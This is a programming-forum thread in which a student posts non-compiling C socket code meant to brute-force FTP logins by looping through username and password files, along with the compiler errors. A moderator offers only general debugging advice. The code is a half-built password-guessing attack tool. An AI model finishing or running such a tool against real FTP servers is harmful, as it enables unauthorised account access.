Lost Password?

Go Back   CodeCall Programming Forum > Software Development > C and C++

Unregistered, Check out the Coder Battles in the Announcement and Game forums.

C and C++ C and C++ forum for discussing all forms of C except for C#. These languages are powerful low level languages used for creating Operating Systems, Device Drivers, compilers and much more.

Reply
 
LinkBack Thread Tools Search this Thread Display Modes
  #1 (permalink)  
Old 03-01-2008, 05:30 AM
sarahnetworking sarahnetworking is offline
Newbie
 
Join Date: Mar 2008
Posts: 3
Credits: 0
Rep Power: 0
sarahnetworking is on a distinguished road
Question server client application - (i really need your help)

Hello,

I have developed a client server application using C.

i have a list of usernames and a list of passwords in a text file. i need to be able to do 2 loops so i can send the usernames and the passwords to the server and get a response back. basically its a ftp force attack to find the correct username and password. i have written most of the code but i'm kind of strugling to finish it off and sort out the errors. this is a task we have to do for university. i have tried different books and websites and still can't sort out the errors. i really need your help.

Any advice would be most helpfull

this is the client part:

#
C Code:
  1. include <stdio.h> /* for printf() and fprintf() */
  2. #include <sys/socket.h> /* for socket(), connect(), send(), and recv() */
  3. #include <arpa/inet.h> /* for sockaddr_in and inet_addr() */
  4. #include <stdlib.h> /* for atoi() and exit() */
  5. #include <string.h> /* for memset() */
  6. #include <unistd.h> /* for close() */
  7.  
  8. #define BUFSIZE 4096 /* Size of receive buffer */
  9.  
  10. void DieWithError(char *errorMessage); /* Error handling function */
  11. void handeltcpclient(int sock, char *argv[]); /* Server handling function */
  12.  
  13. int main(int argc, char *argv[])
  14. {
  15. int sock; /* Socket descriptor */
  16. struct sockaddr_in echoServAddr; /* Echo server address */
  17. unsigned short echoServPort; /* Echo server port */
  18. char *servIP; /* Server IP address (dotted quad) */
  19.  
  20. if ((argc < 2) || (argc > 3)) /* Test for correct number of arguments */
  21. {
  22. fprintf(stderr, "Usage: %s <Server IP> [<Port>]\n",argv[0]);
  23. exit(1);
  24. }
  25.  
  26. servIP = argv[1]; /* First arg: server IP address (dotted quad) */
  27.  
  28. if (argc == 3)
  29. echoServPort = atoi(argv[2]); /* Use given port, if any */
  30. else
  31. echoServPort = 21; /* 7 is the well-known port for the echo service */
  32.  
  33. /* Create a reliable, stream socket using TCP */
  34. if ((sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
  35. DieWithError("socket() failed");
  36.  
  37. /* Construct the server address structure */
  38. memset(&echoServAddr, 0, sizeof(echoServAddr)); /* Zero out structure */
  39. echoServAddr.sin_family = AF_INET; /* Internet address family */
  40. echoServAddr.sin_addr.s_addr = inet_addr(servIP); /* Server IP address */
  41. echoServAddr.sin_port = htons(echoServPort); /* Server port */
  42.  
  43. /* Establish the connection to the echo server */
  44. if (connect(sock, (struct sockaddr *) &echoServAddr, sizeof(echoServAddr)) < 0)
  45. DieWithError("connect() failed");
  46.  
  47. handeltcpclient(sock, argv);
  48.  
  49. close(sock);
  50. }



this is the handeltcpclient.c

C Code:
  1. #include <stdio.h> /* for printf() and fprintf() */
  2. #include <string.h> /* for printf() and fprintf() */
  3. #include <sys/socket.h> /* for recv() and send() */
  4. #include <unistd.h> /* for close() */
  5.  
  6. #define BUFSIZE 4096 /* Size of receive buffer */
  7.  
  8. void DieWithError(char *errorMessage); /* Error handling function */
  9. char sendBuf[BUFSIZE]; /* Send Buffer */
  10. char rcvBuf[BUFSIZE];
  11. char rcvMsgSize[BUFSIZE];
  12. char srvBuf[BUFSIZE];
  13. char clntBuf[BUFSIZE];
  14. char USER[15];
  15. char PASS[15];
  16. FILE *fileuser;
  17. FILE *filepassword;
  18. int MsgSize;
  19. int result;
  20. char response[3];
  21.  
  22. void handeltcpclient(int clntSocket)
  23. {
  24.  
  25.  
  26. /* Recieve message from client */
  27. memset(&rcvBuf,0,sizeof(rcvBuf));
  28. rcvMsgSize = RecieveMessage(clntSocket, &rcvBuf, sizeof(rcvBuf));
  29.  
  30. /* Recieve Server Responses */
  31. memset (&clntBuf,0,sizeof(clntBuf));
  32. memset (&srvBuf,0,sizeof(srvBuf));
  33. MsgSize = RecieveMessage(clntSocket,&srvBuf, sizeof(srvBuf));
  34.  
  35. printf("Recieved: %s" &srvBuf,rcvMsgSize);
  36.  
  37. response = strncpy(&srvBuf, 3);
  38. result = strcmp( result, "230");
  39. if( result == 0)
  40. {
  41. sprintf(&clntBuf, "USER %s", USER);
  42. send(clntSocket, &clntBuf, strlen(clntBuf), 0)!= (strlen(clntBuf));
  43. DieWithError("send() sent a different number of bytes than expected");
  44.  
  45.  
  46. printf("Recieved: %s" &srvBuf,messageSize);
  47.  
  48.  
  49. /* Opening username.txt to selecting USER */
  50.  
  51. if (fileuser = (fopen ("usernames.txt", "r")) ==NULL)
  52. {
  53. printf("Error opening file.\n");
  54. return 1;
  55. }
  56.  
  57. else {
  58. printf ("File opened.\n");
  59. while (fgets(USER, 15, file != NULL))
  60. {
  61. printf("%s",USER);
  62. }
  63.  
  64. /*send USER to server*/
  65. sprintf(clntBuf, "USER %s", USER);
  66.  
  67. if ( send(clntSocket, &clntBuf, strlen(clntBuf), 0)!= (strlen(clntBuf)))
  68. DieWithError("send() sent a different number of bytes than expected");
  69.  
  70. printf("The attemped username was: %s\n");
  71. return 0;
  72.  
  73. /* Recieve message from client */
  74. memset(&rcvBuf,0,sizeof(rcvBuf));
  75. rcvMsgSize = RecieveMessage(clntSocket, &rcvBuf, sizeof(rcvBuf));
  76.  
  77. response = strncpy(&srvBuf, 3);
  78. result = strcmp( result, "331");
  79. if( result == 0)
  80. {
  81. sprintf(&clntBuf, "PASS %s", PASS);
  82. send(clntSocket, &clntBuf, strlen(clntBuf), 0)!= (strlen(clntBuf));
  83. DieWithError("send() sent a different number of bytes than expected");
  84.  
  85. result = strncpy(&srvBuf, 3);
  86. result = strcmp(result, "230");
  87.  
  88. if (result == 0)
  89. {
  90. printf("successfully connected.\n");
  91. {
  92. sucess ++;
  93. }
  94.  
  95.  
  96. /* Opening passwords.txt to selecting PASS */
  97. (
  98. if (filepassword = (fopen ("passwords.txt", "r"))==NULL)
  99. {
  100. printf("Error opening file.\n");
  101. return 1;
  102. }
  103. (
  104. else {
  105. printf ("File opened.\n");
  106. while (fgets(PASS, 15,file)!=NULL)
  107. {
  108. printf("%s",PASS);
  109. }
  110. }
  111. /*send PASS to server*/
  112. sprintf(clntBuf, "PASS %s", PASS);
  113.  
  114. if ( send(clntSocket, &clntBuf, strlen(clntBuf), 0) != (strlen(clntBuf)))
  115. DieWithError("send() sent a different number of bytes than expected");
  116.  
  117. printf("Closing file.\n");
  118. fclose(file);
  119. printf("The attempted password was: %s\n");
  120. return 0;
  121.  
  122. }
  123.  
  124. int RecieveMessage (int s,char *buf, int maxLen)
  125. {
  126. int received = 0;
  127. int rv = 0;
  128. rv = recv(s, buf+received, 5, 0);
  129. while ((received < maxLen) && (rv > 0) && *(buf+received) != '\n')
  130. {
  131. received += rv;
  132. rv = recv(s, buf+received, 5, 0);
  133. }
  134. if (rv < 0)
  135. {
  136. DieWithError("revc() failed");
  137. }
  138. return received;
  139. }
  140.  
  141. /*end*/
  142.  
  143. this is the diewitherror.c (error handling file)
  144.  
  145. #include <stdio.h> /* for perror() */
  146. #include <stdlib.h> /* for exit() */
  147.  
  148. void DieWithError(char *errorMessage)
  149. {
  150. perror(errorMessage);
  151. exit(1);
  152. }

Last edited by Jaan; 03-01-2008 at 06:39 AM. Reason: Please use tags when you're posting your codes!
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote

Sponsored Links
  #2 (permalink)  
Old 03-01-2008, 10:14 AM
WingedPanther's Avatar   
WingedPanther WingedPanther is offline
Super Moderator
 
Join Date: Jul 2006
Age: 35
Posts: 2,508
Last Blog:
wxWidgets is NOT code ...
Credits: 852
Rep Power: 28
WingedPanther is a jewel in the roughWingedPanther is a jewel in the roughWingedPanther is a jewel in the roughWingedPanther is a jewel in the rough
Default

This type of code tends to be platform specific. What you may want to do is isolate your testing to major components. Is the connection made? Is the username received? Is the password received?
__________________
CodeCall Blog | CodeCall Wiki | Shareware | Linux Forum
Chat with other CodeCall members on IRC; connect to irc.codecall.net and join #codecall
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #3 (permalink)  
Old 03-01-2008, 11:19 AM
sarahnetworking sarahnetworking is offline
Newbie
 
Join Date: Mar 2008
Posts: 3
Credits: 0
Rep Power: 0
sarahnetworking is on a distinguished road
Smile

i did get a connection before i added the loop in my handeltcpclient.c
there seems to be a problem with my stringcompare(strcmp and strncpy) can't sort out the errors tho. im using bluefish editor in linux to compile the program. have u got any ideas how to get rid of the errors? i would really appreciate it if you could help me to sort it out as this task is worth 50% of the module and i've never done c programming before
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #4 (permalink)  
Old 03-02-2008, 07:48 AM
WingedPanther's Avatar   
WingedPanther WingedPanther is offline
Super Moderator
 
Join Date: Jul 2006
Age: 35
Posts: 2,508
Last Blog:
wxWidgets is NOT code ...
Credits: 852
Rep Power: 28
WingedPanther is a jewel in the roughWingedPanther is a jewel in the roughWingedPanther is a jewel in the roughWingedPanther is a jewel in the rough
Default

If you send us the errors you're getting we may be able to help
__________________
CodeCall Blog | CodeCall Wiki | Shareware | Linux Forum
Chat with other CodeCall members on IRC; connect to irc.codecall.net and join #codecall
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #5 (permalink)  
Old 03-04-2008, 04:48 AM
sarahnetworking sarahnetworking is offline
Newbie
 
Join Date: Mar 2008
Posts: 3
Credits: 0
Rep Power: 0
sarahnetworking is on a distinguished road
Question

these are the errors i get

[student@localhost tcp]$ gcc client.c diewitherror.c handeltcp.c
gcc: handeltcp.c: No such file or directory
[student@localhost tcp]$ gcc client.c diewitherror.c handeltcp.c
gcc: handeltcp.c: No such file or directory
[student@localhost tcp]$ gcc client.c diewitherror.c handeltcpclient.c
handeltcpclient.c: In function ‘handeltcpclient’:
handeltcpclient.c:28: error: incompatible types in assignment
handeltcpclient.c:35: error: invalid operands to binary &
handeltcpclient.c:37: warning: passing argument 1 of ‘strncpy’ from incompatible pointer type
handeltcpclient.c:37: warning: passing argument 2 of ‘strncpy’ makes pointer from integer without a cast
handeltcpclient.c:37: error: too few arguments to function ‘strncpy’
handeltcpclient.c:38: warning: passing argument 1 of ‘strcmp’ makes pointer from integer without a cast
handeltcpclient.c:41: warning: passing argument 1 of ‘sprintf’ from incompatible pointer type
handeltcpclient.c:46: error: invalid operands to binary &
handeltcpclient.c:46: error: ‘messageSize’ undeclared (first use in this function)
handeltcpclient.c:46: error: (Each undeclared identifier is reported only once
handeltcpclient.c:46: error: for each function it appears in.)
handeltcpclient.c:51: warning: assignment makes pointer from integer without a cast
handeltcpclient.c:54: warning: ‘return’ with a value, in function returning void
handeltcpclient.c:59: error: ‘file’ undeclared (first use in this function)
handeltcpclient.c:71: warning: ‘return’ with a value, in function returning void
handeltcpclient.c:75: error: incompatible types in assignment
handeltcpclient.c:77: warning: passing argument 1 of ‘strncpy’ from incompatible pointer type
handeltcpclient.c:77: warning: passing argument 2 of ‘strncpy’ makes pointer from integer without a cast
handeltcpclient.c:77: error: too few arguments to function ‘strncpy’
handeltcpclient.c:78: warning: passing argument 1 of ‘strcmp’ makes pointer from integer without a cast
handeltcpclient.c:81: warning: passing argument 1 of ‘sprintf’ from incompatible pointer type
handeltcpclient.c:85: warning: passing argument 1 of ‘strncpy’ from incompatible pointer type
handeltcpclient.c:85: warning: passing argument 2 of ‘strncpy’ makes pointer from integer without a cast
handeltcpclient.c:85: error: too few arguments to function ‘strncpy’
handeltcpclient.c:86: warning: passing argument 1 of ‘strcmp’ makes pointer from integer without a cast
handeltcpclient.c:92: error: ‘sucess’ undeclared (first use in this function)
handeltcpclient.c:98: error: expected expression before ‘if’
handeltcpclient.c:139: error: expected declaration or statement at end of input
handeltcpclient.c:139: error: expected declaration or statement at end of input
handeltcpclient.c:139: error: expected declaration or statement at end of input
handeltcpclient.c:139: error: expected declaration or statement at end of input
handeltcpclient.c:139: error: expected declaration or statement at end of input
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote

Sponsored Links
  #6 (permalink)  
Old 03-04-2008, 10:47 AM